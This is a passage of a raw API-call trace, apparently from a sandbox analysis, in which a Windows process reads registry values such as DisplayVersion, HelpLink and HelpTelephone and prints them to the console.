Size=0x22) returned 0x2f5bf0 [0147.285] GetProcessHeap () returned 0x2e0000 [0147.285] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0147.285] GetProcessHeap () returned 0x2e0000 [0147.285] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x22 [0147.285] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f5bf0, pcbData=0x23f670*=0x20 | out: pdwType=0x23f5f0*=0x1, pvData="9.0.30729.6161", pcbData=0x23f670*=0x1e) returned 0x0 [0147.285] __iob_func () returned 0x7fefd702a80 [0147.285] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.286] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.286] _fileno (_File=0x7fefd702ab0) returned 1 [0147.286] _errno () returned 0xc4bb0 [0147.286] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.286] _errno () returned 0xc4bb0 [0147.286] GetFileType (hFile=0x50) returned 0x1 [0147.286] lstrlenW (lpString=" ") returned 4 [0147.286] GetConsoleOutputCP () returned 0x1b5 [0147.286] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.286] GetConsoleOutputCP () returned 0x1b5 [0147.286] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.286] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.286] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.286] lstrlenW (lpString="DisplayVersion") returned 14 [0147.286] __iob_func () returned 0x7fefd702a80 [0147.286] _fileno (_File=0x7fefd702ab0) returned 1 [0147.286] _errno () returned 0xc4bb0 [0147.286] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.286] _errno () returned 0xc4bb0 [0147.286] GetFileType (hFile=0x50) returned 0x1 [0147.286] lstrlenW (lpString="DisplayVersion") returned 14 [0147.286] GetConsoleOutputCP () returned 0x1b5 [0147.286] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0147.286] GetConsoleOutputCP () returned 0x1b5 [0147.287] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0147.287] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0147.287] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.287] __iob_func () returned 0x7fefd702a80 [0147.287] _fileno (_File=0x7fefd702ab0) returned 1 [0147.287] _errno () returned 0xc4bb0 [0147.287] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.287] _errno () returned 0xc4bb0 [0147.287] GetFileType (hFile=0x50) returned 0x1 [0147.287] lstrlenW (lpString=" ") returned 4 [0147.287] GetConsoleOutputCP () returned 0x1b5 [0147.287] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.287] GetConsoleOutputCP () returned 0x1b5 [0147.288] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.288] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.288] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.288] __iob_func () returned 0x7fefd702a80 [0147.288] _fileno (_File=0x7fefd702ab0) returned 1 [0147.288] _errno () returned 0xc4bb0 [0147.288] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.288] _errno () returned 0xc4bb0 [0147.288] GetFileType (hFile=0x50) returned 0x1 [0147.288] lstrlenW (lpString="REG_SZ") returned 6 [0147.288] GetConsoleOutputCP () returned 0x1b5 [0147.288] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.288] GetConsoleOutputCP () returned 0x1b5 [0147.288] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.288] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.288] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.288] __iob_func () returned 0x7fefd702a80 [0147.288] _fileno (_File=0x7fefd702ab0) returned 1 [0147.288] _errno () returned 0xc4bb0 [0147.288] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.288] _errno () returned 0xc4bb0 [0147.288] GetFileType (hFile=0x50) returned 0x1 [0147.288] lstrlenW (lpString=" ") returned 4 [0147.288] GetConsoleOutputCP () returned 0x1b5 [0147.289] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.289] GetConsoleOutputCP () returned 0x1b5 [0147.289] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.289] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.289] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.289] __iob_func () returned 0x7fefd702a80 [0147.289] _fileno (_File=0x7fefd702ab0) returned 1 [0147.289] _errno () returned 0xc4bb0 [0147.289] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.289] _errno () returned 0xc4bb0 [0147.289] GetFileType (hFile=0x50) returned 0x1 [0147.289] lstrlenW (lpString="9.0.30729.6161") returned 14 [0147.289] GetConsoleOutputCP () returned 0x1b5 [0147.289] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="9.0.30729.6161", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0147.289] GetConsoleOutputCP () returned 0x1b5 [0147.289] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="9.0.30729.6161", cchWideChar=14, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9.0.30729.6161", lpUsedDefaultChar=0x0) returned 14 [0147.289] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0147.289] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.289] __iob_func () returned 0x7fefd702a80 [0147.289] _fileno (_File=0x7fefd702ab0) returned 1 [0147.289] _errno () returned 0xc4bb0 [0147.289] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.289] _errno () returned 0xc4bb0 [0147.289] GetFileType (hFile=0x50) returned 0x1 [0147.289] lstrlenW (lpString="\n") returned 1 [0147.290] GetConsoleOutputCP () returned 0x1b5 [0147.290] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.290] GetConsoleOutputCP () returned 0x1b5 [0147.290] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.290] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.290] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.290] GetProcessHeap () returned 0x2e0000 [0147.290] GetProcessHeap () returned 0x2e0000 [0147.290] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0147.290] GetProcessHeap () returned 0x2e0000 [0147.290] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x22 [0147.290] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0 | out: hHeap=0x2e0000) returned 1 [0147.290] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpLink", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.290] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.290] GetProcessHeap () returned 0x2e0000 [0147.290] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.290] GetProcessHeap () returned 0x2e0000 [0147.290] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.290] GetProcessHeap () returned 0x2e0000 [0147.290] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.290] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.290] __iob_func () returned 0x7fefd702a80 [0147.290] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.290] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.290] _fileno (_File=0x7fefd702ab0) returned 1 [0147.290] _errno () returned 0xc4bb0 [0147.290] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.290] _errno () returned 0xc4bb0 [0147.290] GetFileType (hFile=0x50) returned 0x1 [0147.291] lstrlenW (lpString=" ") returned 4 [0147.291] GetConsoleOutputCP () returned 0x1b5 [0147.291] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.291] GetConsoleOutputCP () returned 0x1b5 [0147.291] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.291] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.291] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.291] lstrlenW (lpString="HelpLink") returned 8 [0147.291] __iob_func () returned 0x7fefd702a80 [0147.291] _fileno (_File=0x7fefd702ab0) returned 1 [0147.291] _errno () returned 0xc4bb0 [0147.291] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.291] _errno () returned 0xc4bb0 [0147.291] GetFileType (hFile=0x50) returned 0x1 [0147.291] lstrlenW (lpString="HelpLink") returned 8 [0147.291] GetConsoleOutputCP () returned 0x1b5 [0147.291] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.291] GetConsoleOutputCP () returned 0x1b5 [0147.291] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpLink", lpUsedDefaultChar=0x0) returned 8 [0147.291] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.291] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.292] __iob_func () returned 0x7fefd702a80 [0147.292] _fileno (_File=0x7fefd702ab0) returned 1 [0147.292] _errno () returned 0xc4bb0 [0147.292] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.292] _errno () returned 0xc4bb0 [0147.292] GetFileType (hFile=0x50) returned 0x1 [0147.292] lstrlenW (lpString=" ") returned 4 [0147.292] GetConsoleOutputCP () returned 0x1b5 [0147.292] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.292] GetConsoleOutputCP () returned 0x1b5 [0147.292] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.292] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.292] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.292] __iob_func () returned 0x7fefd702a80 [0147.292] _fileno (_File=0x7fefd702ab0) returned 1 [0147.292] _errno () returned 0xc4bb0 [0147.292] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.292] _errno () returned 0xc4bb0 [0147.292] GetFileType (hFile=0x50) returned 0x1 [0147.292] lstrlenW (lpString="REG_SZ") returned 6 [0147.292] GetConsoleOutputCP () returned 0x1b5 [0147.292] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.293] GetConsoleOutputCP () returned 0x1b5 [0147.293] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.293] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.293] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.293] __iob_func () returned 0x7fefd702a80 [0147.293] _fileno (_File=0x7fefd702ab0) returned 1 [0147.293] _errno () returned 0xc4bb0 [0147.293] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.293] _errno () returned 0xc4bb0 [0147.293] GetFileType (hFile=0x50) returned 0x1 [0147.293] lstrlenW (lpString=" ") returned 4 [0147.293] GetConsoleOutputCP () returned 0x1b5 [0147.293] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.293] GetConsoleOutputCP () returned 0x1b5 [0147.293] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.293] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.293] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.293] __iob_func () returned 0x7fefd702a80 [0147.293] _fileno (_File=0x7fefd702ab0) returned 1 [0147.293] _errno () returned 0xc4bb0 [0147.293] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.293] _errno () returned 0xc4bb0 [0147.293] GetFileType (hFile=0x50) returned 0x1 [0147.293] lstrlenW (lpString="") returned 0 [0147.293] __iob_func () returned 0x7fefd702a80 [0147.294] _fileno (_File=0x7fefd702ab0) returned 1 [0147.294] _errno () returned 0xc4bb0 [0147.294] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.294] _errno () returned 0xc4bb0 [0147.294] GetFileType (hFile=0x50) returned 0x1 [0147.294] lstrlenW (lpString="\n") returned 1 [0147.294] GetConsoleOutputCP () returned 0x1b5 [0147.294] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.294] GetConsoleOutputCP () returned 0x1b5 [0147.294] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.294] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.294] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.294] GetProcessHeap () returned 0x2e0000 [0147.294] GetProcessHeap () returned 0x2e0000 [0147.294] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.294] GetProcessHeap () returned 0x2e0000 [0147.294] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.294] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.294] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpTelephone", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.294] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.294] GetProcessHeap () returned 0x2e0000 [0147.294] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.294] GetProcessHeap () returned 0x2e0000 [0147.294] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.294] GetProcessHeap () returned 0x2e0000 [0147.294] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.294] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.294] __iob_func () returned 0x7fefd702a80 [0147.294] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.295] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.295] _fileno (_File=0x7fefd702ab0) returned 1 [0147.295] _errno () returned 0xc4bb0 [0147.295] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.295] _errno () returned 0xc4bb0 [0147.295] GetFileType (hFile=0x50) returned 0x1 [0147.295] lstrlenW (lpString=" ") returned 4 [0147.295] GetConsoleOutputCP () returned 0x1b5 [0147.295] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.295] GetConsoleOutputCP () returned 0x1b5 [0147.295] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.295] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.295] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.295] lstrlenW (lpString="HelpTelephone") returned 13 [0147.295] __iob_func () returned 0x7fefd702a80 [0147.295] _fileno (_File=0x7fefd702ab0) returned 1 [0147.295] _errno () returned 0xc4bb0 [0147.295] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.295] _errno () returned 0xc4bb0 [0147.295] GetFileType (hFile=0x50) returned 0x1 [0147.295] lstrlenW (lpString="HelpTelephone") returned 13 [0147.295] GetConsoleOutputCP () returned 0x1b5 [0147.295] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.295] GetConsoleOutputCP () returned 0x1b5 [0147.296] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpTelephone", lpUsedDefaultChar=0x0) returned 13 [0147.296] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.296] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.296] __iob_func () returned 0x7fefd702a80 [0147.296] _fileno (_File=0x7fefd702ab0) returned 1 [0147.296] _errno () returned 0xc4bb0 [0147.296] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.296] _errno () returned 0xc4bb0 [0147.296] GetFileType (hFile=0x50) returned 0x1 [0147.296] lstrlenW (lpString=" ") returned 4 [0147.296] GetConsoleOutputCP () returned 0x1b5 [0147.296] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.296] GetConsoleOutputCP () returned 0x1b5 [0147.296] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.296] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.296] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.296] __iob_func () returned 0x7fefd702a80 [0147.296] _fileno (_File=0x7fefd702ab0) returned 1 [0147.296] _errno () returned 0xc4bb0 [0147.296] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.296] _errno () returned 0xc4bb0 [0147.296] GetFileType (hFile=0x50) returned 0x1 [0147.296] lstrlenW (lpString="REG_SZ") returned 6 [0147.296] GetConsoleOutputCP () returned 0x1b5 [0147.297] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.297] GetConsoleOutputCP () returned 0x1b5 [0147.297] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.297] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.297] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.297] __iob_func () returned 0x7fefd702a80 [0147.297] _fileno (_File=0x7fefd702ab0) returned 1 [0147.297] _errno () returned 0xc4bb0 [0147.297] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.297] _errno () returned 0xc4bb0 [0147.297] GetFileType (hFile=0x50) returned 0x1 [0147.297] lstrlenW (lpString=" ") returned 4 [0147.297] GetConsoleOutputCP () returned 0x1b5 [0147.297] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.297] GetConsoleOutputCP () returned 0x1b5 [0147.297] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.297] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.297] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.297] __iob_func () returned 0x7fefd702a80 [0147.297] _fileno (_File=0x7fefd702ab0) returned 1 [0147.297] _errno () returned 0xc4bb0 [0147.297] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.297] _errno () returned 0xc4bb0 [0147.297] GetFileType (hFile=0x50) returned 0x1 [0147.297] lstrlenW (lpString="") returned 0 [0147.298] __iob_func () returned 0x7fefd702a80 [0147.298] _fileno (_File=0x7fefd702ab0) returned 1 [0147.298] _errno () returned 0xc4bb0 [0147.298] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.298] _errno () returned 0xc4bb0 [0147.298] GetFileType 